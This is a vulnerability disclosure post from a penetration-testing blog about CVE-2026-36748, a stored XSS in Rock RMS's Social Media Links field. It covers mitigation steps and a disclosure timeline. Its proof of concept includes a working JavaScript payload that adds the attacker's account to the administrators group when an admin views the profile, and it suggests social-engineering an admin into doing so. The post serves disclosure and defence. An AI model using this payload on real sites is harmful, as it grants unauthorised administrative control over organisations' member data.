CVE-2026-36748: XSS in Rock RMS Leads to Privilege Escalation

the exploit blog logo
The Exploit: Penetration Testing Insights From The Frontlines
Posted on June 1, 2026
CVE-2026-36748: XSS in Rock RMS Leads to Privilege Escalation

Written by Jason Taylor

Rock RMS is an open-source church and non-profit management platform maintained by Spark Development Network. During a routine web application penetration test, I discovered a cross-site scripting (XSS) vulnerability within the Rock RMS platform. I wanted to see how far I could take the XSS and stood up Rock RMS within a virtual lab and began further testing. After a few trial-and-error attempts, I successfully crafted a custom XSS payload that can escalate the privileges of a standard user account to an administrator just by having an administrator view the malicious users’ profile page.

While this vulnerability does not require direct interaction from the target user, the targeted administrator does need to view the malicious user profile page to trigger the XSS payload and escalate privileges. This could be accomplished by waiting for an administrator to view profiles of new accounts or even by social engineering a website administrator into looking at the profile by requesting support from the target organization, which may trigger the administrator to view the user’s page to troubleshoot a potential issue. 

This vulnerability stems from a lack of input sanitization in the Social Media Links within the My Account user profile page. A specially crafted update can lead to arbitrary JavaScript execution within the context of an administrator’s browser session.

Summary

  • CVE ID: CVE-2026-36748
  • Release Date: June 1, 2026
  • Severity: High
  • CVSS: 9.0 (High) CVSS3.1:/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:F/RL:U/RC:C
  • Affected Product: Rock RMS by SparkDevNetwork
  • Tested Versions: 16.13, 17.7
  • Affected Versions: Known to affect <= 17.7.0 and possibly newer versions that are not publicly available.

What’s Affected

This cross-site scripting vulnerability affects Rock RMS with the Social Media Links feature enabled for user profiles. Once enabled on the site, the My Account page for logged in users contains an input field intended for links to social networks. This field is not sanitized server-side.

I’ve tested this vulnerability on versions 16.13 and 17.7 of Rock RMS. SparkDevNetwork releases publicly after one year of early access. As such, it is possible this has been patched in newer pre-release builds. However, these builds were unavailable for testing at the time of publishing. In addition, the vendor has been unresponsive in attempts to report the vulnerability and ensure a patch is made available. 

It is very likely that all versions of Rock RMS prior to and including 17.7 are affected, although they were not tested here. 

Mitigation

Simply disable the Social Media Links within user profiles to remove this attack surface and prevent this attack. Browse to Admin > Settings > General > Person Attributes .

Settings > General > Person Attributes
Settings > General > Person Attributes

The Social Media types are listed there.

Person Attributes Include Social Media Types
Person Attributes Include Social Media Types

Open each social media type and uncheck the Active checkbox.

Setting Social Media Types to Active
Setting Social Media Types to Active

Proof of Concept

This vulnerability requires Social Media Links to be enabled, which exposes a Twitter, Facebook, Instagram, or Snapchat field in the My Account page for a logged in user. These fields can be enabled by checking the Active checkbox described above in the Mitigation section.

Register a user account with standard user permissions:

Registering a Standard User Account
Registering a Standard User Account

Go to My Account and then click the button to Update Profile:

Update Profile
Update Profile

Open Developer Tools in your browser and execute the following JavaScript in the console to obtain your GUID. This will be used in the XSS payload to escalate privileges:

document.querySelector(`[id*=hfEditPersonGuid]`).value
Obtain the Current user’s GUID using Developer Tools
Obtain the Current user’s GUID using Developer Tools

Update a Social Media Link with placeholder text and click Save. Intercept this request in Burp Suite or another proxy:

Adding a Social Media Link
Adding a Social Media Link

In the interception proxy, replay the POST update to /MyAccount and replace the placeholder text with the following payload. Ensure you add the GUID that you acquired above to the payload:

+'+autofocus+onfocus='fetch(`/api/People?$filter=Guid+eq+guid\u0027<INSERT_GUID_HERE>\u0027%26$select=Id`).then(r=>r.json()).then(d=>fetch(`/api/GroupMembers`,{method:`POST`,headers:{[`Content-Type`]:`application/json`},body:JSON.stringify({IsSystem:false,GroupId:2,PersonId:d[0].Id,GroupRoleId:1,GroupMemberStatus:1})}))'
Replaying the POST with Our Injection
Replaying the POST with Our Injection

Confirm access to /Admin is restricted:

Access to Admin Is Restricted
Access to Admin Is Restricted

Wait for an Admin user or coerce an Admin user to view your malicious user profile. For the following proof of concept, I used the RockAdmin administrator user to view the malicious account’s profile:

Admin User Viewing Malicious Standard User’s Profile
Admin User Viewing Malicious Standard User’s Profile

Upon visiting the profile page, the XSS payload executes and adds the malicious user to the RSR – Rock Administration group.

Visiting the Malicious Standard User's Profile Page as Admin Executes the Payload
Visiting the Malicious Standard User’s Profile Page as Admin Executes the Payload

Next, as the Malicious User, visit the /Admin site while logged in. You now have full administrative access to the Rock RMS site:

Malicious Standard User Now Has Administrative Access
Malicious User Now Has Administrative Access

Viewing the Malicious User’s group membership, we can see that Malicious User is a member of the RSR – Rock Administration group:

Malicious User's Profile Now Shows Admin Security Setting
Malicious User’s Profile Now Shows Admin Security Setting

Disclosure Timeline

This vulnerability disclosure follows the industry standard 90-day responsible disclosure policy.

  • March 1, 2026: Vulnerability reported to SparkDevNetwork
  • March 11, 2026: First follow-up without response
  • April 3, 2026: Second follow-up without response
  • May 18, 2026: CVE-2026-36748 assigned to this vulnerability
  • May 18, 2026: Third follow-up without response
  • June 1, 2026: Initial write-up and public disclosure

References

Jason Taylor

Jason Taylor

Jason has a passion for asking “what-if” questions and for trying to “break” software and test how it responds to unintended uses. Jason has a background in System Administration and Security Engineering in the financial sector. He holds both defensive and offensive certifications including OSCP, PNPT, GCIH, CASP+, and is Splunk Certified. When he’s not spending his time taking new training courses, he loves spending time with his wife and kids and occasionally working on an IoT project to automate some aspect of their greenhouse or chicken coop.

About The Exploit

The Exploit is written by Raxis penetration testers. Every post is a technical writeup from someone who runs engagements for a living, with code, command output, and the reasoning behind each step. Topics include exploit research, vulnerability disclosure, tool development, and the offensive techniques showing up in current client work.

Search The Exploit Blog

Raxis Discovered CVEs

View the CVEs that Raxis engineers have uncovered and submitted.

Join Our Newsletter

Name(Required)
Newsletter(Required)
Do you wish to join our newsletter? We send out emails once a month that cover the latest in cybersecurity news. We do not sell your information to other parties.